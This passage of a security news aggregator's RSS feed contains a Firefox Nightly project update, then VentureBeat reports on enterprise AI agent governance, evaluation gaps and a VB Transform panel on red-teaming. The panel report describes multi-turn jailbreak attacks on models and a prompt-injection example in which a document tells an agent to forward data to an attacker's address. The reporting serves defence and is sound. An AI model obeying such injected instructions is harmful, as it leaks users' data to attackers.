<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best practices for applying Amazon Bedrock Guardrails to code generation workflows]]></title>
<description><![CDATA[In this post, we explain how Amazon Bedrock Guardrails can be configured for code generation workflows with coding assistants to overcome these constraints. With these best practices, you can build an efficient blueprint helping you with effective capacity planning with robust safety coverage.]]></description>
<link>https://tsecurity.de/de/3690431/ai-nachrichten/best-practices-for-applying-amazon-bedrock-guardrails-to-code-generation-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690431/ai-nachrichten/best-practices-for-applying-amazon-bedrock-guardrails-to-code-generation-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 01:23:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explain how Amazon Bedrock Guardrails can be configured for code generation workflows with coding assistants to overcome these constraints. With these best practices, you can build an efficient blueprint helping you with effective capacity planning with robust safety coverage.]]></content:encoded>
</item>
<item>
<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 